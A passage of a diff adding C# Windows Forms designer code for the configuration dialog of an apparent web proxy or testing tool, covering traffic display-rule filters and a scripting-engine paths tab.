System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.groupBox3.Controls.Add(this.ConfigDisplayRuleHostNamesCB); + this.groupBox3.Controls.Add(this.ConfigDisplayRuleHostNamesPlusTB); + this.groupBox3.Controls.Add(this.ConfigDisplayRuleHostNamesMinusTB); + this.groupBox3.Controls.Add(this.ConfigDisplayRuleHostNamesPlusRB); + this.groupBox3.Controls.Add(this.ConfigDisplayRuleHostNamesMinusRB); + this.groupBox3.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.groupBox3.Location = new System.Drawing.Point(2, 97); + this.groupBox3.Margin = new System.Windows.Forms.Padding(0); + this.groupBox3.Name = "groupBox3"; + this.groupBox3.Size = new System.Drawing.Size(868, 52); + this.groupBox3.TabIndex = 90; + this.groupBox3.TabStop = false; + // + // ConfigDisplayRuleHostNamesCB + // + this.ConfigDisplayRuleHostNamesCB.AutoSize = true; + this.ConfigDisplayRuleHostNamesCB.Location = new System.Drawing.Point(8, 20); + this.ConfigDisplayRuleHostNamesCB.Name = "ConfigDisplayRuleHostNamesCB"; + this.ConfigDisplayRuleHostNamesCB.Size = new System.Drawing.Size(84, 17); + this.ConfigDisplayRuleHostNamesCB.TabIndex = 59; + this.ConfigDisplayRuleHostNamesCB.Text = "HostNames:"; + this.ConfigDisplayRuleHostNamesCB.UseVisualStyleBackColor = true; + this.ConfigDisplayRuleHostNamesCB.CheckedChanged += new System.EventHandler(this.ConfigDisplayRuleHostNamesCB_CheckedChanged); + // + // ConfigDisplayRuleHostNamesPlusTB + // + this.ConfigDisplayRuleHostNamesPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigDisplayRuleHostNamesPlusTB.Enabled = false; + this.ConfigDisplayRuleHostNamesPlusTB.Location = new System.Drawing.Point(160, 8); + this.ConfigDisplayRuleHostNamesPlusTB.Name = "ConfigDisplayRuleHostNamesPlusTB"; + this.ConfigDisplayRuleHostNamesPlusTB.Size = new System.Drawing.Size(705, 20); + this.ConfigDisplayRuleHostNamesPlusTB.TabIndex = 51; + // + // ConfigDisplayRuleHostNamesMinusTB + // + this.ConfigDisplayRuleHostNamesMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigDisplayRuleHostNamesMinusTB.Enabled = false; + this.ConfigDisplayRuleHostNamesMinusTB.Location = new System.Drawing.Point(160, 29); + this.ConfigDisplayRuleHostNamesMinusTB.Name = "ConfigDisplayRuleHostNamesMinusTB"; + this.ConfigDisplayRuleHostNamesMinusTB.Size = new System.Drawing.Size(705, 20); + this.ConfigDisplayRuleHostNamesMinusTB.TabIndex = 52; + // + // ConfigDisplayRuleHostNamesPlusRB + // + this.ConfigDisplayRuleHostNamesPlusRB.AutoSize = true; + this.ConfigDisplayRuleHostNamesPlusRB.Enabled = false; + this.ConfigDisplayRuleHostNamesPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigDisplayRuleHostNamesPlusRB.Location = new System.Drawing.Point(118, 9); + this.ConfigDisplayRuleHostNamesPlusRB.Name = "ConfigDisplayRuleHostNamesPlusRB"; + this.ConfigDisplayRuleHostNamesPlusRB.Size = new System.Drawing.Size(34, 20); + this.ConfigDisplayRuleHostNamesPlusRB.TabIndex = 57; + this.ConfigDisplayRuleHostNamesPlusRB.TabStop = true; + this.ConfigDisplayRuleHostNamesPlusRB.Text = "+"; + this.ConfigDisplayRuleHostNamesPlusRB.UseVisualStyleBackColor = true; + // + // ConfigDisplayRuleHostNamesMinusRB + // + this.ConfigDisplayRuleHostNamesMinusRB.AutoSize = true; + this.ConfigDisplayRuleHostNamesMinusRB.Enabled = false; + this.ConfigDisplayRuleHostNamesMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigDisplayRuleHostNamesMinusRB.Location = new System.Drawing.Point(118, 28); + this.ConfigDisplayRuleHostNamesMinusRB.Name = "ConfigDisplayRuleHostNamesMinusRB"; + this.ConfigDisplayRuleHostNamesMinusRB.Size = new System.Drawing.Size(31, 20); + this.ConfigDisplayRuleHostNamesMinusRB.TabIndex = 58; + this.ConfigDisplayRuleHostNamesMinusRB.TabStop = true; + this.ConfigDisplayRuleHostNamesMinusRB.Text = "-"; + this.ConfigDisplayRuleHostNamesMinusRB.UseVisualStyleBackColor = true; + // + // groupBox4 + // + this.groupBox4.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.groupBox4.Controls.Add(this.ConfigDisplayRuleFileExtensionsCB); + this.groupBox4.Controls.Add(this.ConfigDisplayRuleFileExtensionsPlusTB); + this.groupBox4.Controls.Add(this.ConfigDisplayRuleFileExtensionsMinusTB); + this.groupBox4.Controls.Add(this.ConfigDisplayRuleFileExtensionsPlusRB); + this.groupBox4.Controls.Add(this.ConfigDisplayRuleFileExtensionsMinusRB); + this.groupBox4.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.groupBox4.Location = new System.Drawing.Point(2, 46); + this.groupBox4.Margin = new System.Windows.Forms.Padding(0); + this.groupBox4.Name = "groupBox4"; + this.groupBox4.Size = new System.Drawing.Size(868, 52); + this.groupBox4.TabIndex = 89; + this.groupBox4.TabStop = false; + // + // ConfigDisplayRuleFileExtensionsCB + // + this.ConfigDisplayRuleFileExtensionsCB.AutoSize = true; + this.ConfigDisplayRuleFileExtensionsCB.Checked = true; + this.ConfigDisplayRuleFileExtensionsCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigDisplayRuleFileExtensionsCB.Location = new System.Drawing.Point(8, 20); + this.ConfigDisplayRuleFileExtensionsCB.Name = "ConfigDisplayRuleFileExtensionsCB"; + this.ConfigDisplayRuleFileExtensionsCB.Size = new System.Drawing.Size(99, 17); + this.ConfigDisplayRuleFileExtensionsCB.TabIndex = 59; + this.ConfigDisplayRuleFileExtensionsCB.Text = "File Extensions:"; + this.ConfigDisplayRuleFileExtensionsCB.UseVisualStyleBackColor = true; + this.ConfigDisplayRuleFileExtensionsCB.CheckedChanged += new System.EventHandler(this.ConfigDisplayRuleFileExtensionsCB_CheckedChanged); + // + // ConfigDisplayRuleFileExtensionsPlusTB + // + this.ConfigDisplayRuleFileExtensionsPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigDisplayRuleFileExtensionsPlusTB.Location = new System.Drawing.Point(160, 8); + this.ConfigDisplayRuleFileExtensionsPlusTB.Name = "ConfigDisplayRuleFileExtensionsPlusTB"; + this.ConfigDisplayRuleFileExtensionsPlusTB.Size = new System.Drawing.Size(705, 20); + this.ConfigDisplayRuleFileExtensionsPlusTB.TabIndex = 51; + // + // ConfigDisplayRuleFileExtensionsMinusTB + // + this.ConfigDisplayRuleFileExtensionsMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigDisplayRuleFileExtensionsMinusTB.Location = new System.Drawing.Point(160, 29); + this.ConfigDisplayRuleFileExtensionsMinusTB.Name = "ConfigDisplayRuleFileExtensionsMinusTB"; + this.ConfigDisplayRuleFileExtensionsMinusTB.Size = new System.Drawing.Size(705, 20); + this.ConfigDisplayRuleFileExtensionsMinusTB.TabIndex = 52; + this.ConfigDisplayRuleFileExtensionsMinusTB.Text = "css,js,jpg,jpeg,png,gif,ico,swf,doc,docx,pdf,xls,xlsx,ppt,pptx"; + // + // ConfigDisplayRuleFileExtensionsPlusRB + // + this.ConfigDisplayRuleFileExtensionsPlusRB.AutoSize = true; + this.ConfigDisplayRuleFileExtensionsPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigDisplayRuleFileExtensionsPlusRB.Location = new System.Drawing.Point(118, 9); + this.ConfigDisplayRuleFileExtensionsPlusRB.Name = "ConfigDisplayRuleFileExtensionsPlusRB"; + this.ConfigDisplayRuleFileExtensionsPlusRB.Size = new System.Drawing.Size(34, 20); + this.ConfigDisplayRuleFileExtensionsPlusRB.TabIndex = 57; + this.ConfigDisplayRuleFileExtensionsPlusRB.Text = "+"; + this.ConfigDisplayRuleFileExtensionsPlusRB.UseVisualStyleBackColor = true; + // + // ConfigDisplayRuleFileExtensionsMinusRB + // + this.ConfigDisplayRuleFileExtensionsMinusRB.AutoSize = true; + this.ConfigDisplayRuleFileExtensionsMinusRB.Checked = true; + this.ConfigDisplayRuleFileExtensionsMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigDisplayRuleFileExtensionsMinusRB.Location = new System.Drawing.Point(118, 28); + this.ConfigDisplayRuleFileExtensionsMinusRB.Name = "ConfigDisplayRuleFileExtensionsMinusRB"; + this.ConfigDisplayRuleFileExtensionsMinusRB.Size = new System.Drawing.Size(31, 20); + this.ConfigDisplayRuleFileExtensionsMinusRB.TabIndex = 58; + this.ConfigDisplayRuleFileExtensionsMinusRB.TabStop = true; + this.ConfigDisplayRuleFileExtensionsMinusRB.Text = "-"; + this.ConfigDisplayRuleFileExtensionsMinusRB.UseVisualStyleBackColor = true; + // + // label20 + // + this.label20.AutoSize = true; + this.label20.Location = new System.Drawing.Point(7, 31); + this.label20.Name = "label20"; + this.label20.Size = new System.Drawing.Size(89, 13); + this.label20.TabIndex = 74; + this.label20.Text = "Request Method:"; + // + // ConfigDisplayRuleContentCSSCB + // + this.ConfigDisplayRuleContentCSSCB.AutoSize = true; + this.ConfigDisplayRuleContentCSSCB.Location = new System.Drawing.Point(230, 207); + this.ConfigDisplayRuleContentCSSCB.Name = "ConfigDisplayRuleContentCSSCB"; + this.ConfigDisplayRuleContentCSSCB.Size = new System.Drawing.Size(47, 17); + this.ConfigDisplayRuleContentCSSCB.TabIndex = 68; + this.ConfigDisplayRuleContentCSSCB.Text = "CSS"; + this.ConfigDisplayRuleContentCSSCB.UseVisualStyleBackColor = true; + // + // ConfigDisplayRuleCode5xxCB + // + this.ConfigDisplayRuleCode5xxCB.AutoSize = true; + this.ConfigDisplayRuleCode5xxCB.Location = new System.Drawing.Point(482, 187); + this.ConfigDisplayRuleCode5xxCB.Name = "ConfigDisplayRuleCode5xxCB"; + this.ConfigDisplayRuleCode5xxCB.Size = new System.Drawing.Size(42, 17); + this.ConfigDisplayRuleCode5xxCB.TabIndex = 88; + this.ConfigDisplayRuleCode5xxCB.Text = "5xx"; + this.ConfigDisplayRuleCode5xxCB.UseVisualStyleBackColor = true; + // + // ConfigDisplayRuleContentJSCB + // + this.ConfigDisplayRuleContentJSCB.AutoSize = true; + this.ConfigDisplayRuleContentJSCB.Location = new System.Drawing.Point(186, 207); + this.ConfigDisplayRuleContentJSCB.Name = "ConfigDisplayRuleContentJSCB"; + this.ConfigDisplayRuleContentJSCB.Size = new System.Drawing.Size(38, 17); + this.ConfigDisplayRuleContentJSCB.TabIndex = 69; + this.ConfigDisplayRuleContentJSCB.Text = "JS"; + this.ConfigDisplayRuleContentJSCB.UseVisualStyleBackColor = true; + // + // ConfigDisplayRuleCode500CB + // + this.ConfigDisplayRuleCode500CB.AutoSize = true; + this.ConfigDisplayRuleCode500CB.Checked = true; + this.ConfigDisplayRuleCode500CB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigDisplayRuleCode500CB.Location = new System.Drawing.Point(432, 187); + this.ConfigDisplayRuleCode500CB.Name = "ConfigDisplayRuleCode500CB"; + this.ConfigDisplayRuleCode500CB.Size = new System.Drawing.Size(44, 17); + this.ConfigDisplayRuleCode500CB.TabIndex = 87; + this.ConfigDisplayRuleCode500CB.Text = "500"; + this.ConfigDisplayRuleCode500CB.UseVisualStyleBackColor = true; + // + // ConfigDisplayRuleContentImgCB + // + this.ConfigDisplayRuleContentImgCB.AutoSize = true; + this.ConfigDisplayRuleContentImgCB.Location = new System.Drawing.Point(472, 207); + this.ConfigDisplayRuleContentImgCB.Name = "ConfigDisplayRuleContentImgCB"; + this.ConfigDisplayRuleContentImgCB.Size = new System.Drawing.Size(60, 17); + this.ConfigDisplayRuleContentImgCB.TabIndex = 70; + this.ConfigDisplayRuleContentImgCB.Text = "Images"; + this.ConfigDisplayRuleContentImgCB.UseVisualStyleBackColor = true; + // + // ConfigDisplayRuleCode4xxCB + // + this.ConfigDisplayRuleCode4xxCB.AutoSize = true; + this.ConfigDisplayRuleCode4xxCB.Location = new System.Drawing.Point(384, 187); + this.ConfigDisplayRuleCode4xxCB.Name = "ConfigDisplayRuleCode4xxCB"; + this.ConfigDisplayRuleCode4xxCB.Size = new System.Drawing.Size(42, 17); + this.ConfigDisplayRuleCode4xxCB.TabIndex = 86; + this.ConfigDisplayRuleCode4xxCB.Text = "4xx"; + this.ConfigDisplayRuleCode4xxCB.UseVisualStyleBackColor = true; + // + // ConfigDisplayRuleContentOtherBinaryCB + // + this.ConfigDisplayRuleContentOtherBinaryCB.AutoSize = true; + this.ConfigDisplayRuleContentOtherBinaryCB.Location = new System.Drawing.Point(538, 207); + this.ConfigDisplayRuleContentOtherBinaryCB.Name = "ConfigDisplayRuleContentOtherBinaryCB"; + this.ConfigDisplayRuleContentOtherBinaryCB.Size = new System.Drawing.Size(84, 17); + this.ConfigDisplayRuleContentOtherBinaryCB.TabIndex = 71; + this.ConfigDisplayRuleContentOtherBinaryCB.Text = "Other Binary"; + this.ConfigDisplayRuleContentOtherBinaryCB.UseVisualStyleBackColor = true; + // + // ConfigDisplayRuleCode403CB + // + this.ConfigDisplayRuleCode403CB.AutoSize = true; + this.ConfigDisplayRuleCode403CB.Checked = true; + this.ConfigDisplayRuleCode403CB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigDisplayRuleCode403CB.Location = new System.Drawing.Point(334, 187); + this.ConfigDisplayRuleCode403CB.Name = "ConfigDisplayRuleCode403CB"; + this.ConfigDisplayRuleCode403CB.Size = new System.Drawing.Size(44, 17); + this.ConfigDisplayRuleCode403CB.TabIndex = 85; + this.ConfigDisplayRuleCode403CB.Text = "403"; + this.ConfigDisplayRuleCode403CB.UseVisualStyleBackColor = true; + // + // label21 + // + this.label21.AutoSize = true; + this.label21.Location = new System.Drawing.Point(5, 207); + this.label21.Name = "label21"; + this.label21.Size = new System.Drawing.Size(125, 13); + this.label21.TabIndex = 72; + this.label21.Text = "Response Content Type:"; + // + // ConfigDisplayRuleCode3xxCB + // + this.ConfigDisplayRuleCode3xxCB.AutoSize = true; + this.ConfigDisplayRuleCode3xxCB.Location = new System.Drawing.Point(286, 187); + this.ConfigDisplayRuleCode3xxCB.Name = "ConfigDisplayRuleCode3xxCB"; + this.ConfigDisplayRuleCode3xxCB.Size = new System.Drawing.Size(42, 17); + this.ConfigDisplayRuleCode3xxCB.TabIndex = 84; + this.ConfigDisplayRuleCode3xxCB.Text = "3xx"; + this.ConfigDisplayRuleCode3xxCB.UseVisualStyleBackColor = true; + // + // ConfigDisplayRuleContentHTMLCB + // + this.ConfigDisplayRuleContentHTMLCB.AutoSize = true; + this.ConfigDisplayRuleContentHTMLCB.Checked = true; + this.ConfigDisplayRuleContentHTMLCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigDisplayRuleContentHTMLCB.Location = new System.Drawing.Point(130, 207); + this.ConfigDisplayRuleContentHTMLCB.Name = "ConfigDisplayRuleContentHTMLCB"; + this.ConfigDisplayRuleContentHTMLCB.Size = new System.Drawing.Size(56, 17); + this.ConfigDisplayRuleContentHTMLCB.TabIndex = 73; + this.ConfigDisplayRuleContentHTMLCB.Text = "HTML"; + this.ConfigDisplayRuleContentHTMLCB.UseVisualStyleBackColor = true; + // + // ConfigDisplayRuleCode301_2CB + // + this.ConfigDisplayRuleCode301_2CB.AutoSize = true; + this.ConfigDisplayRuleCode301_2CB.Checked = true; + this.ConfigDisplayRuleCode301_2CB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigDisplayRuleCode301_2CB.Location = new System.Drawing.Point(227, 187); + this.ConfigDisplayRuleCode301_2CB.Name = "ConfigDisplayRuleCode301_2CB"; + this.ConfigDisplayRuleCode301_2CB.Size = new System.Drawing.Size(53, 17); + this.ConfigDisplayRuleCode301_2CB.TabIndex = 83; + this.ConfigDisplayRuleCode301_2CB.Text = "301-2"; + this.ConfigDisplayRuleCode301_2CB.UseVisualStyleBackColor = true; + // + // ConfigDisplayRuleGETMethodCB + // + this.ConfigDisplayRuleGETMethodCB.AutoSize = true; + this.ConfigDisplayRuleGETMethodCB.Checked = true; + this.ConfigDisplayRuleGETMethodCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigDisplayRuleGETMethodCB.Location = new System.Drawing.Point(132, 32); + this.ConfigDisplayRuleGETMethodCB.Name = "ConfigDisplayRuleGETMethodCB"; + this.ConfigDisplayRuleGETMethodCB.Size = new System.Drawing.Size(48, 17); + this.ConfigDisplayRuleGETMethodCB.TabIndex = 75; + this.ConfigDisplayRuleGETMethodCB.Text = "GET"; + this.ConfigDisplayRuleGETMethodCB.UseVisualStyleBackColor = true; + // + // ConfigDisplayRuleCode2xxCB + // + this.ConfigDisplayRuleCode2xxCB.AutoSize = true; + this.ConfigDisplayRuleCode2xxCB.Location = new System.Drawing.Point(179, 187); + this.ConfigDisplayRuleCode2xxCB.Name = "ConfigDisplayRuleCode2xxCB"; + this.ConfigDisplayRuleCode2xxCB.Size = new System.Drawing.Size(42, 17); + this.ConfigDisplayRuleCode2xxCB.TabIndex = 82; + this.ConfigDisplayRuleCode2xxCB.Text = "2xx"; + this.ConfigDisplayRuleCode2xxCB.UseVisualStyleBackColor = true; + // + // ConfigDisplayRulePOSTMethodCB + // + this.ConfigDisplayRulePOSTMethodCB.AutoSize = true; + this.ConfigDisplayRulePOSTMethodCB.Checked = true; + this.ConfigDisplayRulePOSTMethodCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigDisplayRulePOSTMethodCB.Location = new System.Drawing.Point(182, 32); + this.ConfigDisplayRulePOSTMethodCB.Name = "ConfigDisplayRulePOSTMethodCB"; + this.ConfigDisplayRulePOSTMethodCB.Size = new System.Drawing.Size(55, 17); + this.ConfigDisplayRulePOSTMethodCB.TabIndex = 76; + this.ConfigDisplayRulePOSTMethodCB.Text = "POST"; + this.ConfigDisplayRulePOSTMethodCB.UseVisualStyleBackColor = true; + // + // ConfigDisplayRuleCode200CB + // + this.ConfigDisplayRuleCode200CB.AutoSize = true; + this.ConfigDisplayRuleCode200CB.Checked = true; + this.ConfigDisplayRuleCode200CB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigDisplayRuleCode200CB.Location = new System.Drawing.Point(130, 187); + this.ConfigDisplayRuleCode200CB.Name = "ConfigDisplayRuleCode200CB"; + this.ConfigDisplayRuleCode200CB.Size = new System.Drawing.Size(44, 17); + this.ConfigDisplayRuleCode200CB.TabIndex = 81; + this.ConfigDisplayRuleCode200CB.Text = "200"; + this.ConfigDisplayRuleCode200CB.UseVisualStyleBackColor = true; + // + // ConfigDisplayRuleOtherMethodsCB + // + this.ConfigDisplayRuleOtherMethodsCB.AutoSize = true; + this.ConfigDisplayRuleOtherMethodsCB.Checked = true; + this.ConfigDisplayRuleOtherMethodsCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigDisplayRuleOtherMethodsCB.Location = new System.Drawing.Point(242, 32); + this.ConfigDisplayRuleOtherMethodsCB.Name = "ConfigDisplayRuleOtherMethodsCB"; + this.ConfigDisplayRuleOtherMethodsCB.Size = new System.Drawing.Size(52, 17); + this.ConfigDisplayRuleOtherMethodsCB.TabIndex = 77; + this.ConfigDisplayRuleOtherMethodsCB.Text = "Other"; + this.ConfigDisplayRuleOtherMethodsCB.UseVisualStyleBackColor = true; + // + // label23 + // + this.label23.AutoSize = true; + this.label23.Location = new System.Drawing.Point(5, 187); + this.label23.Name = "label23"; + this.label23.Size = new System.Drawing.Size(119, 13); + this.label23.TabIndex = 80; + this.label23.Text = "Response Status Code:"; + // + // ConfigDisplayRuleContentOtherTextCB + // + this.ConfigDisplayRuleContentOtherTextCB.AutoSize = true; + this.ConfigDisplayRuleContentOtherTextCB.Checked = true; + this.ConfigDisplayRuleContentOtherTextCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigDisplayRuleContentOtherTextCB.Location = new System.Drawing.Point(390, 207); + this.ConfigDisplayRuleContentOtherTextCB.Name = "ConfigDisplayRuleContentOtherTextCB"; + this.ConfigDisplayRuleContentOtherTextCB.Size = new System.Drawing.Size(76, 17); + this.ConfigDisplayRuleContentOtherTextCB.TabIndex = 78; + this.ConfigDisplayRuleContentOtherTextCB.Text = "Other Text"; + this.ConfigDisplayRuleContentOtherTextCB.UseVisualStyleBackColor = true; + // + // ConfigDisplayRuleContentXMLCB + // + this.ConfigDisplayRuleContentXMLCB.AutoSize = true; + this.ConfigDisplayRuleContentXMLCB.Checked = true; + this.ConfigDisplayRuleContentXMLCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigDisplayRuleContentXMLCB.Location = new System.Drawing.Point(283, 207); + this.ConfigDisplayRuleContentXMLCB.Name = "ConfigDisplayRuleContentXMLCB"; + this.ConfigDisplayRuleContentXMLCB.Size = new System.Drawing.Size(48, 17); + this.ConfigDisplayRuleContentXMLCB.TabIndex = 79; + this.ConfigDisplayRuleContentXMLCB.Text = "XML"; + this.ConfigDisplayRuleContentXMLCB.UseVisualStyleBackColor = true; + // + // ConfigScriptingTab + // + this.ConfigScriptingTab.Controls.Add(this.ConfigScriptBaseSplit); + this.ConfigScriptingTab.Location = new System.Drawing.Point(4, 22); + this.ConfigScriptingTab.Name = "ConfigScriptingTab"; + this.ConfigScriptingTab.Size = new System.Drawing.Size(873, 0); + this.ConfigScriptingTab.TabIndex = 2; + this.ConfigScriptingTab.Text = "Scripting Engines"; + this.ConfigScriptingTab.UseVisualStyleBackColor = true; + // + // ConfigScriptBaseSplit + // + this.ConfigScriptBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ConfigScriptBaseSplit.Location = new System.Drawing.Point(0, 0); + this.ConfigScriptBaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.ConfigScriptBaseSplit.Name = "ConfigScriptBaseSplit"; + // + // ConfigScriptBaseSplit.Panel1 + // + this.ConfigScriptBaseSplit.Panel1.Controls.Add(this.label14); + this.ConfigScriptBaseSplit.Panel1.Controls.Add(this.ConfigScriptPathApplyChangesLL); + this.ConfigScriptBaseSplit.Panel1.Controls.Add(this.ConfigScriptPathCancelChangesLL); + this.ConfigScriptBaseSplit.Panel1.Controls.Add(this.ConfigScriptPathSplit); + // + // ConfigScriptBaseSplit.Panel2 + // + this.ConfigScriptBaseSplit.Panel2.Controls.Add(this.label12); + this.ConfigScriptBaseSplit.Panel2.Controls.Add(this.ConfigScriptCommandApplyChangesLL); + this.ConfigScriptBaseSplit.Panel2.Controls.Add(this.ConfigScriptCommandCancelChangesLL); + this.ConfigScriptBaseSplit.Panel2.Controls.Add(this.ConfigScriptCommandSplit); + this.ConfigScriptBaseSplit.Size = new System.Drawing.Size(873, 0); + this.ConfigScriptBaseSplit.SplitterDistance = 425; + this.ConfigScriptBaseSplit.SplitterWidth = 2; + this.ConfigScriptBaseSplit.TabIndex = 0; + // + // label14 + // + this.label14.AutoSize = true; + this.label14.Location = new System.Drawing.Point(5, 5); + this.label14.Name = "label14"; + this.label14.Size = new System.Drawing.Size(177, 13); + this.label14.TabIndex = 62; + this.label14.Text = "Library Paths to include on Start-Up:"; + // + // ConfigScriptPathApplyChangesLL + // + this.ConfigScriptPathApplyChangesLL.ActiveLinkColor = System.Drawing.Color.Red; + this.ConfigScriptPathApplyChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigScriptPathApplyChangesLL.AutoSize = true; + this.ConfigScriptPathApplyChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigScriptPathApplyChangesLL.LinkBehavior = System.Windows.Forms.LinkBehavior.AlwaysUnderline; + this.ConfigScriptPathApplyChangesLL.Location = new System.Drawing.Point(329, 6); + this.ConfigScriptPathApplyChangesLL.Name = "ConfigScriptPathApplyChangesLL"; + this.ConfigScriptPathApplyChangesLL.Size = new System.Drawing.Size(36, 13); + this.ConfigScriptPathApplyChangesLL.TabIndex = 58; + this.ConfigScriptPathApplyChangesLL.TabStop = true; + this.ConfigScriptPathApplyChangesLL.Text = "Save"; + this.ConfigScriptPathApplyChangesLL.VisitedLinkColor = System.Drawing.Color.Blue; + this.ConfigScriptPathApplyChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigScriptPathApplyChangesLL_LinkClicked); + // + // ConfigScriptPathCancelChangesLL + // + this.ConfigScriptPathCancelChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigScriptPathCancelChangesLL.AutoSize = true; + this.ConfigScriptPathCancelChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigScriptPathCancelChangesLL.Location = new System.Drawing.Point(374, 6); + this.ConfigScriptPathCancelChangesLL.Name = "ConfigScriptPathCancelChangesLL"; + this.ConfigScriptPathCancelChangesLL.Size = new System.Drawing.Size(46, 13); + this.ConfigScriptPathCancelChangesLL.TabIndex = 57; + this.ConfigScriptPathCancelChangesLL.TabStop = true; + this.ConfigScriptPathCancelChangesLL.Text = "Cancel"; + this.ConfigScriptPathCancelChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigScriptPathCancelChangesLL_LinkClicked); + // + // ConfigScriptPathSplit + // + this.ConfigScriptPathSplit.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigScriptPathSplit.Location = new System.Drawing.Point(0, 20); + this.ConfigScriptPathSplit.Margin = new System.Windows.Forms.Padding(0); + this.ConfigScriptPathSplit.Name = "ConfigScriptPathSplit"; + this.ConfigScriptPathSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // ConfigScriptPathSplit.Panel1 + // + this.ConfigScriptPathSplit.Panel1.Controls.Add(this.label15); + this.ConfigScriptPathSplit.Panel1.Controls.Add(this.ConfigScriptPyPathsTB); + // + // ConfigScriptPathSplit.Panel2 + // + this.ConfigScriptPathSplit.Panel2.Controls.Add(this.label16); + this.ConfigScriptPathSplit.Panel2.Controls.Add(this.ConfigScriptRbPathsTB); + this.ConfigScriptPathSplit.Size = new System.Drawing.Size(425, 54); + this.ConfigScriptPathSplit.SplitterDistance = 25; + this.ConfigScriptPathSplit.SplitterWidth = 2; + this.ConfigScriptPathSplit.TabIndex = 0; + // + // label15 + // + this.label15.AutoSize = true; + this.label15.Location = new System.Drawing.Point(3, 4); + this.label15.Name = "label15"; + this.label15.Size = new System.Drawing.Size(43, 13); + this.label15.TabIndex = 63; + this.label15.Text = "Python:"; + // + // ConfigScriptPyPathsTB + // + this.ConfigScriptPyPathsTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigScriptPyPathsTB.Location = new System.Drawing.Point(0, 20); + this.ConfigScriptPyPathsTB.Multiline = true; + this.ConfigScriptPyPathsTB.Name = "ConfigScriptPyPathsTB"; + this.ConfigScriptPyPathsTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.ConfigScriptPyPathsTB.Size = new System.Drawing.Size(425, 8); + this.ConfigScriptPyPathsTB.TabIndex = 0; + // + // label16 + // + this.label16.AutoSize = true; + this.label16.Location = new System.Drawing.Point(4, 4); + this.label16.Name = "label16"; + this.label16.Size = new System.Drawing.Size(35, 13); + this.label16.TabIndex = 64; + this.label16.Text = "Ruby:"; + // + // ConfigScriptRbPathsTB + // + this.ConfigScriptRbPathsTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigScriptRbPathsTB.Location = new System.Drawing.Point(0, 20); + this.ConfigScriptRbPathsTB.Multiline = true; + this.ConfigScriptRbPathsTB.Name = "ConfigScriptRbPathsTB"; + this.ConfigScriptRbPathsTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; + 